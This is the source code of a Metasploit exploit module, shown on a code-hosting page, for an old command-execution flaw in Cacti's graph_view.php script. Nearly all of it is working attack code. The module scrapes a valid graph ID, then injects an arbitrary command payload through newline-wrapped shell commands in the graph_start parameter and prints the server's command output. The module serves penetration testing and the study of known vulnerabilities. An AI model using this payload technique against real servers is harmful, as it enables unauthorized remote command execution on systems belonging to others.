Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Cacti graph_view.php Remote Command Execution',14'Description' => %q{15This module exploits an arbitrary command execution vulnerability in the16Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to170.8.6-d are vulnerable.18},19'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '17539' ],24[ 'BID', '14042' ],25],26'Privileged' => false,27'Payload' =>28{29'DisableNops' => true,30'Space' => 512,31'Compat' =>32{33'PayloadType' => 'cmd',34'RequiredCmd' => 'generic perl ruby python telnet',35}36},37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Targets' => [[ 'Automatic', { }]],40'DisclosureDate' => '2005-01-15',41'DefaultTarget' => 0))4243register_options(44[45OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),46])47end4849def exploit50# Obtain a valid image ID51res = send_request_cgi({52'uri' => normalize_uri(datastore['URI']),53'vars_get' =>54{55'action' => 'list'56}57}, 10)5859if (not res)60print_error("The server gave no response")61return62end6364m = res.body.match(/local_graph_id=(.*?)&/)65if (not m)66print_error("Could not locate a valid image ID")67return68end6970# Trigger the command execution bug71res = send_request_cgi({72'uri' => normalize_uri(datastore['URI']),73'vars_get' =>74{75'local_graph_id' => m[1],76'graph_start' => "\necho YYY;#{payload.encoded};echo YYY;echo\n"77}78}, 25)7980if (res)81print_status("The server returned: #{res.code} #{res.message}")82print("")8384m = res.body.match(/YYY(.*)YYY/)8586if (m)87print_status("Command output from the server:")88print(m[1])89else90print_status("This server may not be vulnerable")91end9293else94print_status("No response from the server")95end96end97end9899100